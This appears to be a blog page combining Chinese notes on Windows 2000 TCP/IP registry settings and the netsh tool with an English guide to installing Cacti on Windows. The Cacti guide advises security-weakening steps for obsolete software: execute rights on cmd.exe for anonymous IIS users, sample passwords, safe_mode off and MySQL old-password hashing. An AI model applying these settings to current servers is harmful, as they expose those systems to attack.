      说明:不建议使用2,否则可能会造成你的一些服务无法启动,如SQL Server

      8、不支持IGMP协议

      HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters

      IGMPLevel REG_DWORD 0x0(默认值为0x2)

      说明:记得Win9x下有个bug,就是用可以用IGMP使别人蓝屏,修改注册表可以修正这个bug.Win2000虽然没这个bug了,但IGMP并不是必要的,因此照样可以去掉。改成0后用route print将看不到那个讨厌的224.0.0.0项了。

      9、设置arp缓存老化时间设置

      HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services:\Tcpip\Parameters

      ArpCacheLife REG_DWORD 0-0xFFFFFFFF(秒数,默认值为120秒)

      ArpCacheMinReferencedLife REG_DWORD 0-0xFFFFFFFF(秒数,默认值为600)

      说明:如果ArpCacheLife大于或等于ArpCacheMinReferencedLife,则引用或未引用的ARP缓存项在ArpCacheLife秒后到期。如果ArpCacheLife小于ArpCacheMinReferencedL ife,未引用项在ArpCacheLife秒后到期,而引用项在ArpCacheMinReferencedLife秒后到期。每次将出站数据包发送到项的IP地址时,就会引用ARP缓存中的项。

     10、禁止死网关监测技术

      HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services:\Tcpip\Parameters

      EnableDeadGWDetect REG_DWORD 0x0(默认值为ox1)

      说明:如果你设置了多个网关,那么你的机器在处理多个连接有困难时,就会自动改用备份网关。有时候这并不是一项好主意,建议禁止死网关监测。

      11、不支持路由功能

      HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services:\Tcpip\Parameters

      IPEnableRouter REG_DWORD 0x0(默认值为0x0)

      说明:把值设置为0x1可以使Win2000具备路由功能,由此带来不必要的问题。

      12、做NAT时放大转换的对外端口最大值

      HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services:\Tcpip\Parameters

      MaxUserPort REG_DWORD 5000-65534(十进制)(默认值0x1388--十进制为5000)

      说明:当应用程序从系统请求可用的用户端口数时,该参数控制所使用的最大端口数。正常情况下,短期端口的分配数量为1024-5000。将该参数设置到有效范围以外时,就会使用最接近的有效数值(5000或65534)。使用NAT时建议把值放大点。

      13、修改MAC地址

      HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\

      找到右窗口的说明为"网卡"的目录,

      比如说是{4D36E972-E325-11CE-BFC1-08002BE10318}

    展开之,在其下的0000,0001,0002...的分支中找到"DriverDesc"的键值为你网卡的说明,比如说"DriverDesc"的值为"Intel 82559 Fast Ethernet LAN on Motherboard"然后在右窗口新建一字符串值,名字为"Networkaddress",内容为你想要的MAC值,比如说是"004040404040"然后重起计算机,ipconfig /all看看。
    曾几何时,大家都有想过在命令行下改IP和网关。以前在NT4下实现起来过于麻烦,现在Windows 2000下的Netsh命令能实现该功能了。

    Netsh 是本地或远程计算机的 Windows 2000 网络组件的命令行和脚本实用程序。为了存档或配置其他服务器,Netsh 实用程序也可以将配置脚本保存在文本文件中。

    Netsh 实用程序是一个外壳,它通过附加的"Netsh 帮助 DLL",可以支持多个 Windows 2000 组件。"Netsh 帮助 DLL"提供用来监视或配置特定 Windows 2000 网络组件的其他命令,从而扩展了 Netsh 的功能。每个"Netsh 帮助 DLL"都为特定的网络组件提供了一个环境和一组命令。每个环境中都可以有子环境。例如,在路由环境中存在子环境 Ip 和 Ipx,它们将 IP 路由和 IPX 路由命令集中在一起。

    Netsh 命令行选项包括下列各项:

    用法: netsh [-a AliasFile] [-c Context] [-r RemoteMachine]
    [Command | -f ScriptFile]

    下列指令有效:

    此上下文中的命令:
    ? - 显示命令列表。
    aaaa - 更改到 `aaaa` 上下文。
    add - 将一个配置项添加到项目列表中。
    delete - 在项目列表上删除一个配置项目。
    dhcp - 更改到 `dhcp` 上下文。
    dump 0 - 显示一个配置脚本。
    exec - 运行一个脚本文件。
    help - 显示命令列表。
    interface - 更改到 `interface` 上下文。
    ras - 更改到 `ras` 上下文。
    routing - 更改到 `routing` 上下文。
    set - 更新配置设置。
    show - 显示信息
    wins - 更改到 `wins` 上下文。

    下列的子上下文可用:
    routing interface ras dhcp wins aaaa

    若需要命令的更多帮助信息,请键入命令,
    后面跟 ?。
    -a AliasFile
    指定使用了一个别名文件。别名文件包含 netsh 命令列表和一个别名版本,所以可以使用别名命令行替换 netsh 命令。可以使用别名文件将其他平台中更熟悉的命令映射到适当的 netsh 命令。

    -c Context
    指定对应于已安装的支持 DLL 的命令环境。

    命令
    指定要执行的 netsh 命令。

    -f ScriptFile
    指定运行 ScriptFile 文件中所有的 netsh 命令。

    -r RemoteMachine
    指定在远程计算机上运行 netsh 命令,由名称或 IP 地址来指定远程计算机。

    您可以将命令缩写为意义明确的最短的字符串。例如,发布 sh ip int 命令相当于发布 show ip interface。Netsh 命令可以是全局的或特定环境的。全局命令可以在任何环境中发布,并用于一般的 Netsh 实用程序功能。特定环境的命令随环境而变化。您可以将发布的命令记录在日志文件中,以创建 netsh 命令会话的审核踪迹。

    列出了 netsh 全局命令。

    命令 说明
    .. 上移一个环境等级。
    ? 或 help 显示命令行"帮助"。
    show version 显示 Windows 和 Netsh 实用程序的当前版本。
    show netdlls 显示已安装的"Netsh 帮助 DLL"的当前版本。
    add helper 添加"Netsh 帮助 DLL"。
    delete helper 删除"Netsh 帮助 DLL"。
    show helper 显示已安装的"Netsh 帮助 DLL"。
    cmd 创建 Windows 2000 命令窗口。
    online 将当前模式设置为联机。
    offline 将当前模式设置为脱机。
    set mode 将当前模式设置为联机或脱机。
    show mode 显示当前模式。
    flush 丢弃以脱机模式进行的任何更改。
    commit 提交以脱机模式进行的更改。
    set audit-logging 打开或关闭记录工具。
    show audit-logging 显示当前的审核记录设置。
    set loglevel 设置记录信息的级别
    show loglevel 显示记录信息的级别。
    set machine 配置执行 netsh 命令的计算机。
    show machine 显示执行 netsh 命令的计算机。
    exec 执行包括 netsh 命令的脚本文件。
    quit 或 bye 或 exit 退出 Netsh 实用程序。
    add alias 向现有命令添加别名。
    delete alias 删除现有命令的别名。
    show alias 显示所有已定义的别名。
    dump 将配置写入文本文件。
    popd 从堆栈中弹出环境的脚本命令。
    pushd 将当前的环境推入堆栈的脚本命令。

    Netsh 实用程序有如下命令模式:

    联机
    联机模式下,在 Netsh 命令提示符下发布的命令被立即执行。

    脱机
    脱机模式下,将在 Netsh 命令提示符下积累发布的命令,并通过发布 commit 全局命令来按照批处理方式执行。可以通过发布 flush 全局命令来丢弃积累的命令。

    脚本
    使用 -f 命令行选项,或在 Netsh 命令提示符下发布 exec 全局命令,可以执行指定文件中所有的 netsh 命令。

    要创建当前配置的脚本,请使用 dump 全局命令。dump 命令根据 netsh 命令输出当前运行的配置。可以使用该命令创建的脚本来配置新的服务器或重新配置现有的服务器。如果要对组件的配置作很大的更改,推荐您使用 dump 命令开始配置会话,以防在进行更改前需要还原配置。

    Interface 命令
    下表列出了可在 Windows 2000 命令提示符下键入的 netsh 命令,这些命令用于管理运行 Windows 2000 Server 及"路由和远程访问"服务的计算机上的接口设置。如果对某个特殊功能有多个命令,则在每个命令之间用斜线 (/) 分隔。

    当在命令提示符下键入命令时,请在每个命令前加上 netsh。要获得每个命令的精确语法,可在命令之后键入 ?。选项例如,要获得 netsh interface 命令的命令行"帮助",请在命令提示符下键入 netsh interface?。

    命令 说明
    interface set/show interface 启用、禁用、连接、断开连接以及显示请求拨号接口的配置。
    interface set/show credentials 在请求拨号接口上配置或显示用户名、密码和域名。

    ……… (省略二、三千字)


    言归正传,现在来看看WIN2000下的网络设置的配置。

    D:\>netsh
    netsh>interface
    interface>dump
    #========================
    # 接口配置
    #========================
    pushd interface

    reset all


    popd
    # 接口配置结束

    # ----------------------------------
    # 接口 IP 配置
    # ----------------------------------
    pushd interface ip


    # "本地连接 2" 的接口 IP 配置

    set address name = "本地连接 2" source = dhcp
    set dns name = "本地连接 2" source = dhcp
    set wins name = "本地连接 2" source = dhcp

    # "本地连接" 的接口 IP 配置

    set address name = "本地连接" source = static addr = 192.168.1.10 mask = 255.255.255.0
    set address name = "本地连接" gateway = 192.168.0.1 gwmetric = 1
    set dns name = "本地连接" source = static addr = 192.168.0.1
    set wins name = "本地连接" source = static addr = none


    popd
    # 接口 IP 配置结束


    如果,你想快速修改一个本地IP地址。
    你可以先用文本写入以下的内容:

    interface ip
    set address 本地连接 static 192.168.5.10 255.255.255.0 192.168.0.1 1
    ^^^ ^^^ ^^^ ^^^ ^^
    接口名称 IP地址 子网掩码 网关 接口跃点数

    如上保存为 local.sh

    D:\>netsh exec local.sh
    January 19

    Cacti Install Under Windows (II)

    Configure Cactid

    1. Modify the cactid.conf file in c:\cactid to include the following statements.

    DB_Host IP_Address or Hostname (not localhost)
    DB_Database     cacti
    DB_User cactiuser
    DB_Password     cactipw
     

    All other pre 0.8.6 settings are obsolete. Cactid may not complain if you leave them in, but they are not longer required. Cactid now comes with a binary distribution. Therefore, a basic installation of Cygwin is not longer required, but suggested to help maintain dll version conflicts.

    1. If you have Cygwin installed, remove the DLL files and the SH.EXE file from the c:\cactid directory.

    Configure Cacti

    1. Reboot your server.  Some times environment variables and services need to be reset in order for everything to work properly.
    2. Edit <web root>/cacti/include/config.php and specify the MySQL user, password and database for your Cacti configuration.

    3.      $database_default = "cacti";
    $database_hostname = "localhost";
    $database_username = "cactiuser";
    $database_password = "cactipw";

       

    1. Point your web browser to:

    http://your-server/cacti/

    Log in the with a username of admin and password of admin. You will be required to change this password immediately.

    Once logged in, you must go to Settings->Paths and verify/update your paths to point to the correct locations. Recommended examples are posted below.  If you plan on using Cactid, then it is very important that your all your paths and scripts use forward slashes.

    PHP Binary Path:

    c:/php/php.exe

    RRDTool Binary Path:

    c:/rrdtool/rrdtool.exe

    RRDTool Default Font Path:

    c:/windows/fonts/arial.ttf

    RRDTool Version:

    Select the appropriate version

    SNMPGET, SNMPWALK, SNMPBULKWALK, SNMPGETNEXT Paths:

    c:/net-snmp/bin/snmpget.exe
    c:/net-snmp/bin/snmpwalk.exe
    c:/net-snmp/bin/snmpbulkwalk.exe
    c:/net-snmp/bin/snmpgetnext.exe

    Cacti Logfile Path:

    c:/website/cacti/log/cacti.log

    Cactid Path:

    c:/cactid/cactid.exe

    1. Click on Devices. Delete Localhost, since it's set up to use the Linux host template.  In the upper right corner, click on Add.   Fill in the following information and then click Add.

    Description: localhost
    Hostname: localhost
    Host Template: Windows 2000/XP

    1. You should now be looking at the localhost device screen.  Right under it's name, there should be some SNMP information listed, if not you should double check the SNMP settings on the server and firewall settings.  In the upper right-hand corner, click on Create Graphs for this Host. On the following screen, select a disk partition and network interface.  At the bottom of the page, click on Create.
    2. Log into the user account you'll be using  for the scheduled task and  verify starting a Cacti polling cycle works.  Do this by running the following from the command prompt: 

    php c:\<web root>\cacti\poller.php

    The output should look something like this:

    C:\>php c:\inetpub\wwwroot\cacti\poller.php
    OK u:0.00 s:0.06 r:1.32
    OK u:0.00 s:0.06 r:1.32
    OK u:0.00 s:0.16 r:2.59
    OK u:0.00 s:0.17 r:2.62
    10/28/2005 04:57:12 PM - SYSTEM STATS: Time:4.7272 Method:cmd.php Processes:1 Threads:N/A Hosts:1 HostsPerProcess:2 DataSources:4 RRDsProcessed:2

    After this has ran once, you should have cacti.log in /cacti/log/ and rrd files in /cacti/rra/.

    1. You are going to need to schedule a task while logged on as an Administrator account, so poller.php can run every 5 minutes. Make sure the Task Scheduler service is started and follow the steps below to begin.
      1. Select Start --> Settings --> Control Panel and double click on Scheduled Tasks.
      2. Double click on Add Scheduled Task.
      3. Click Next and Browse on the following screen. Find c:\php and select php.exe. If using PHP 5 with Cacti 0.8.6f or earlier, use php-win.exe instead. Choose Daily on and click Next.
      4. Click Next again without changing the time or date settings.
      5. When entering a username and password make sure the user has modify access to the following directories:

    c:\<web root>\cacti\rra\
    c:\<web root>\cacti\log\

    Make sure the user has read, and execute access to the following directories:

    c:\php\
    c:\<web root>\cacti\
    c:\rrdtool\

      1. Click Next and Finish to close the wizard.
      2. Right click on the task you just created, and select Properties.
      3. Select the Schedule tab.
      4. Make sure Daily is selected and click the Advanced button.
      5. Check the Repeat checkbox, set the repetition for every 5 minutes, set the duration for 24 hours, and check the If the task is still running, stop it at this time checkbox.
      6. Click Ok
      7. In the Run textbox enter the following text making sure to use the appropriate paths.

    c:\php\php.exe c:\<web root>\cacti\poller.php

    The start in box should say c:\<web root>\cacti.

    Apply Patches

    1. There are two methods of applying patches to Cacti:
      1. If you have Cygwin installed, then the patch instructions which use wget and patch, will work. 
      2. The other method requires you to visit http://www.cacti.net/downloads/patches/<cacti version>/pre-patched/ and manually download and replace the patched files.
    2. You might need to reapply file/folder security on the files patched. Double check they are correct.

    Tweaking
    There are several things you can do to speed up your Cacti web server.  It's suggested that you only apply these after you have a fully functional Cacti installation.

    1. Switch the polling agent in Cacti from cmd.php to Cactid.exe.  Go to Settings | Poller | Type.
    2. Install the Zend Optimizer for PHP.  
    3. Set up the query cache in MySQL.  Read about how to properly configure the settings.  You will need to stop the MySQL service when you edit c:\mysql\my.ini and put in the following:

    #The memory allocated to store results from old queries.
    query_cache_size=16M
    #Don't cache results that are bigger than this.
    query_cache_limit=1M
    #Query cache type to use.
    query_cache_type=1

    1. Install FastCGI, which can offer x4 to x8 improvement (for IIS users at least).
    2. An extensive list of other optimizations for PHP and MySQL can be found over at phplens.com.

    FAQ (eventually added to the FAQ section of Cacti)
    Q: Call to undefined function mysql_connect() in C:\Inetpub\www\cacti\lib\adodb\drivers\adodb-mysql.inc.php on line 338
    A:
    This is caused because newer versions of PHP no longer support the new client libraries for MySQL 4.1.0 and beyond.  The universal fix is to apply the old password trick, outlined in the MySQL section above in step #6.  Another fix for only PHP5 users is to switch to the php_mysqli.dll extension.
    Q: How do I stop the command windows from opening every 5 minutes?
    A:  This is occurring because your Cacti scheduled task is using the same user name you've logged onto the computer with. There are two possible fixes:

    1. Use a different user name to run the Cacti scheduled task
    2. Use a windows script to hide the command windows.  Only do this after your cacti installation is fully functional!
      1. Create a file called invisible.vbs.  Place it where ever you like.
      2. Edit invisible.vbs and paste the following

    Set objWSHShell = WScript.CreateObject("WScript.Shell")
    objWSHShell.Run "poller.php", 0, False

      1. Edit the Cacti scheduled task and change the Run to:

    C:\Windows\system32\wscript.exe "C:\invisible.vbs" "C:\Inetpub\wwwroot\cacti\poller.php"

    Q:  I see errors in the cacti.log file. How to I find out what is wrong?
    A:  Turn up the logging level in Cacti.  In Cacti go to Settings and change the Poller Logging Level to Debug for one cycle. If you notice your log file is filled with WEBLOG entries, which makes it hard to follow what is going on, then uncheck all of the Web Events, save and wait for the next polling cycle.

    Q: Does Cacti use MIB files?

    A: No. But they are handy to have around when making custom scripts.
    Q: How can I debug SNMP output from a device?
    A: The easiest tools are either GetIf or Net-SNMP.   GetIf is fairly self explanatory since it has a GUI.  Using the MBrowser tab is handy for navigating the SNMP trees and OIDs.  Net-SNMP is comprised of several tools. You'll want to use snmpget and snmpwalk.   An example of parsing the interfaces on a device would be:

    C:\net-snmp\bin\> snmpwalk -v 1 -c public 127.0.0.1 .1.3.6.1.2.1.2.2

    An alternative would be to use a MIB name. This of course does require the use of MIB files:

    C:\net-snmp\bin\> snmpwalk -v 1 -c public 127.0.0.1 ifDescr

    Q: How do I get FastCGI to work with Windows 20003?
    A: A little modification needs to be done to the existing documentation.  

    1. Make sure IIS_WPG account has read/execute rights on the PHP and Cacti folders.
    2. Use the following modified fastcgi.reg file (assumes you're using PHP5)

    Windows Registry Editor Version 5.00
    [HKEY_LOCAL_MACHINE\SOFTWARE\FASTCGI]
    "StartServers"=dword:00000002
    "IncrementServers"=dword:00000002
    "MaxServers"=dword:00000019
    "Timeout"=dword:00000258

    [HKEY_LOCAL_MACHINE\SOFTWARE\FASTCGI\.php]
    "AppPath"="c:\\php\\php-cgi.exe"
    "BindPath"="php-fcgi"

    1. Create a web site extension called  fastcgi. Add isapi_fcgi.dll and php-cgi.exe.
    2. In the Default Website, under ISAPI filters, create a new filter in addition to the PHP one.  Call it fastcgi and point it to isapi_fcgi.dll.
    3. Under the Home Directory tab, select Configuration and, change the .php extension to use isapi_fcgi.dll.

    Q: ERROR: change root is not supported by your OS or at least by this copy of rrdtool.
    A: This error message occurs when you use the Win32 version of rrdtool instead of the Cygwin one.
    Q: When attempting to run poller.php you get, "This script is only meant to run at the command line"
    A:  Most likely caused by a misconfiguration in your
    php.ini file.  Make sure the following is set in it:

    register_argc_argv = On
    safe_mode = Off

    Q: How do I get WMI scripts working on remote computers?
    A: There are several things one needs to do to accomplish this:

    1. Open a hole in the firewall for DCOM.  For the Windows XP SP2 or Windows 2003 SP1 firewall, do the following:
      1. Open up the Windows Firewall control panel
      2. Click on Add Port.
      3. Name: DCOM
        Port: 135
        Type: TCP
      4. You might need to change the scope of the rule, depending on where you will be remotely querying the server from.
      5. Start | Run: gpedit.msc
      6. Navigate to: Computer Configuration | Administrative Templates | Network | Network Connections | Windows Firewall
      7. Enable the following:

    Allow remote administration exception
    Allow local port exceptions

    1. Edit WMI security
      1. Start | Run: wmimgmt.msc.
      2. Get properties on WMI Control.
      3. Go to the Security tab
      4. Click on the Root folder, then security
      5. Click on Advanced
      6. Add the cactiuser account that's going to be used. Assign the following rights:

    Enable Account
    Enable Remote

      1. Change the Apply onto to: This namespace and subnamespaces.
      2. Click OK.
    1. Edit DCOM security
      1. Start | Run: dcomcnfg
      2. Navigate to: Component Services | Computers | My Computer.
      3. Get properties on My Computer
      4. Click on the COM Security tab.
      5. Under Launch and Activate Permissions, click on Edit Limits
      6. Add the cactiuser account that's going to be used.  Assign the following rights:

    Remote Activation

      1. Click OK and exit.

    Cacti Instal Under Windows (I)

    Installations

    1. Download and install the following pieces of software:
      • (optional) Apache and install it to c:\apache or c:\apache2.  Make sure to install it as a service.
      • Cacti and extract it to the root of your web server directory.  Typically c:\inetpub\wwwroot\ or c:\apache2\.
      • Cactid and extract it to c:\cactid.
      • RRDTool (Cygwin build) and extract it to c:\rrdtool.
      • PHP 4.3.6+ or 5.x and extract it to c:\php.
      • MySQL 4.0MySQL 4.1, or MySQL 5.0 (MySQL 5 is only supported in Cacti 0.8.6h). Install it to c:\mysql.
      • (optional) Cygwin. Download setup.exe and keep it around until later used in the document.
      • (optional) Net-SNMP and install to c:\net-snmp.

    Configure PHP

    1. If using PHP 4, move the files in c:\php\dlls to c:\php.
    2. Add the following to your Windows PATH environment variable c:\php. The Windows path can be accessed via the Control Panel at: System | Advanced | Environment Variables | System Variables..
    3. Add the following two new environment variables to your system using the procedure above: PHPRC=c:\php.
      1. If using PHP 4, create this variable:  MIBDIRS=c:\php\mibs
      2. If using PHP 5, create this variable:  MIBDIRS=c:\php\extras\mibs
    4. If using PHP 4.3.5 or less (not recommended), create the following directory c:\tmp.
    5. Rename the file c:\php\php.ini.dist to php.ini, and make the following changes to it:

    If using PHP 4 uncomment the following lines:

    extension_dir = c:\php\extensions
    extension=php_snmp.dll
    extension=php_sockets.dll
    cgi.force_redirect = 0

    If using PHP 5 uncomment the following lines:

    extension_dir = c:\php\ext
    extension=php_mysql.dll
    extension=php_snmp.dll
    extension=php_sockets.dll
    cgi.force_redirect = 0

    If using PHP 4.3.5 or less include the following line. If using 4.3.6 or greater, you should remove this line if present.

    session.save_path=c:\tmp   

    1. If you have had previous versions of PHP installed, you had likely moved the PHP system files to in the Windows directory structure. If so, you will have to remove those files. Please review your PHP installation documentation for instructions on removing those files.
    2. If you want to allow template importing, uncomment the following line:

    file_uploads = On

    1. Give the user who will be running the scheduled task, modify rights to:
      1. If using PHP 4: c:\php\mibs\.index 
      2. If using PHP 5: c:\php\extras\mibs\.index

    Configure the Webserver (Apache)

    1. Make sure you have stopped any IIS web servers before you proceed with Apache installation.
    2. If you are using Apache 1.3.x, installation of PHP 5 is not recommended. If using PHP 4, add the following lines to your httpd.conf file in the c:\apache\conf directory:

    3.      LoadModule php4_module c:\php\sapi\php4apache.dll
    AddModule mod_php4.c
    AddType application/x-httpd-php .php
    DirectoryIndex index.html index.htm index.php

       

    1. If you are using Apache 2.x, add the following lines to your httpd.conf file in the c:\apache2\conf directory:

    If using PHP 4, then add the following lines:

    LoadModule php4_module c:\php\sapi\php4apache2.dll
    AddType application/x-httpd-php .php
    DirectoryIndex index.html index.htm index.php

       

    If using PHP 5, then add the following lines:

    LoadModule php5_module c:\php\php5apache2.dll
    AddType application/x-httpd-php .php
    DirectoryIndex index.html index.htm index.php

       

    Configure the Webserver (IIS)

    1. Start the Internet Information Services (IIS) Manager, right click on Default Web Site (in most cases) and select Properties.
    2. Under the Home Directory tab, select Configuration and click Add. Browse to the path of php4isapi.dll or php5isapi.dll, and type in .php as the extension.
      IIS6: Enable All Verbs and Script Engine.
    3. Under the ISAPI Filters tab, click Add and browse to the php4isapi.dll or php5isapi.dll file. Name the filter "php" and click OK.
    4. Under the Documents tab, add index.php to the top of the list.
    5. If using IIS6, go to Web Service Extensions and add a new Web Service Extension.  Name the extension "php", click Add and browse to the php4isapi.dll or php5isapi.dll file,  enable Set Extension status to Enable, and click OK.
    6. Under the Default Web Site, right click on Cacti and select Properties.
    7. Under the Directory tab, click the Write checkbox..
    8. Give the COMPUTERNAME\IUSR_XXXX and COMPUTERNAME\IIS_WPG users read & execute permissions to the file %windir%\system32\cmd.exe.  Both users will also need read permissions on <web root>/cacti/ and its subfolders.
    9. IIS6: Give the IIS_WPG user modify permissions to the folders /cacti/log and /cacti/rrd.
      IIS5: Give the IUSR_XXXX user modify permissions to the folders
      /cacti/log and /cacti/rrd.
    10. Completely stop and start the IIS service using the following commands:

    11. net stop iisadmin
    net start w3svc

       

    Install Cygwin (optional)

    1. Installing a single instance of Cygwin, and using it for all applications that require it is recommended so you do not have different versions of the Cygwin dlls laying around on your system, which can cause conflicts.
    2. Run setup.exe you previously downloaded.
    3. Once you reach the portion of setup entitled Select Packages, install the following:

    Base (whole thing)
    Libs
         libart_lgpl
         libfreetype26
         libpng12
         zlib
    Utils
         patch
    Web
         wget

    1. Add c:\cygwin\bin to your system path.
    2. Move setup.exe to c:\cygwin for future use.

    Install RRDTool

    1. If you have Cygwin installed, remove the DLL files from the c:\rrdtool directory.

    Configure MySQL

    1. Start MySQL by running c:\mysql\bin\winmysqladmin.exe.
    2. Set a password for the root user

    3.      shell> cd mysql\bin
    shell> mysqladmin --user=root password somepassword
    shell> mysqladmin --user=root --password reload

       

    1. Create the MySQL database:

    5.      shell> mysqladmin --user=root --password create cacti

       

    1. Import the default Cacti database:

    7.      shell> mysql --user=root --password cacti < c:\inetpub\wwwroot\cacti\cacti.sql

       

    1. Create a MySQL username and password for Cacti.

    shell> mysql --user=root --password mysql
    mysql> GRANT ALL ON cacti.* TO cactiuser@localhost IDENTIFIED BY 'cactipw';
    mysql> flush privileges; 

    1. If you're running MySQL 4.1 then you will need to apply the old password trick for user authentication to work with Cacti.  
      1. Stop the MySQL service, edit your my.ini file, and add the following:

    #Use old password encryption method (needed for 4.0 and older clients).
    old-passwords

      1. You will also need to update the cactiuser account with the old password style:

    shell> UPDATE mysql.user SET Password = OLD_PASSWORD('cactipw') WHERE Host = 'localhost' AND User = 'cactiuser';
    mysql> FLUSH PRIVILEGES;

    Install Net-SNMP (optional)

    1. If you plan to use any hosts with SNMP v3 support, you must download and install the Net-SNMP binaries. Net-SNMP provides installers to install their product. However, caution must be taken not to use long file names as Cacti does not support them in this version. We suggest you install Net-SNMP in a directory such as c:\net-snmp.